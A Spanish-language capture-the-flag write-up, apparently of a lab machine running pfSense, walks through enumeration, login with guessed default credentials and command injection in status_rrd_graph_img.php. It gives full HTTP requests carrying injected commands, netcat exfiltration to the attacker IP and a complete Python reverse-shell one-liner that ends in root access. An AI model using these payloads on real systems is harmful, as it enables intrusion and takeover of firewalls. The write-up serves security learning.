Como siempre comenzamos con un nmap pero no hay mucho 80 y 443.

Como es una web application corremos dirbuster. En este caso con una extension que no uso normalmente txt. Eso encuentra el archivo https://10.10.10.60/system-users.txt

####Support ticket###
Please create the following user
username: Rohit
password: company defaults

Con el usuario puedes probar contraseñas comunes. En este caso pfsense fue suficiente para entrar.

Buscando en google encontramos https://www.exploit-db.com/exploits/39709 pero es dificil de explotar… Leyendo un poco de esa vulnerabilidad en la parte de status_rrd https://www.proteansec.com/linux/pfsense-vulnerabilities-part-2-command-injection/ con ejemplos y todo 🙂

Para probarlo solo vamos a la pagina de rrd_graph y vemos el link de la imagen. En mi caso fue:

https://10.10.10.60/status_rrd_graph_img.php?start=1571740803&end=1571769603&database=system-processor.rrd&style=inverse&graph=eight_hour


Lo podemos simplificar en el repeater de burp a solo 

GET /status_rrd_graph_img.php?database=system-processor.rr HTTP/1.1
Host: 10.10.10.60
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
...

Con eso empezamos a hacer pruebas. Primero si hay sleep:

GET /status_rrd_graph_img.php?database=queues;sleep+3 HTTP/1.1
Host: 10.10.10.60
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
...

Luego NC?

GET /status_rrd_graph_img.php?database=queues;whoami|nc+10.10.14.26+1337 HTTP/1.1
Host: 10.10.10.60
root@Kali2:~/Desktop# nc -nlvp 1337
listening on [any] 1337 ...
connect to [10.10.14.26] from (UNKNOWN) [10.10.10.60] 15595
root

Para finalizar vamos a hacer algo a tres bandas que es impresionante. En Burp vamos a pedir un “algo” y lo vamos a mandar a python. Luego en el paso 2 vamos a mandar ese “algo” que es una reverse shell the python. Y finalmente lo vamos a recibir en otro nc. Tres NC 🤯

1 Hacemos un NC y lo mandamos a python

GET /status_rrd_graph_img.php?database=queues;nc+10.10.14.26+1337|python HTTP/1.1
Host: 10.10.10.60
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0

2 Mandamos el reverse shell (es muy importante cortar la conexión con contr+c para poder recibir la próxima.

root@Kali2:~/Desktop# nc -nlvp 1337 <shellsense
listening on [any] 1337 ...
connect to [10.10.14.26] from (UNKNOWN) [10.10.10.60] 28037
^C
root@Kali2:~/Desktop#
///Shelsense: 
Import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.26",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"])

3 Y finalmente recibimos la conexión.

root@Kali2:~# nc -nlvp 1234
listening on [any] 1234 ...
connect to [10.10.14.26] from (UNKNOWN) [10.10.10.60] 11985
sh: can't access tty; job control turned off
# whoami
root

🤯🤯🤯

Y ya tenemos otro maquina nueva 🙂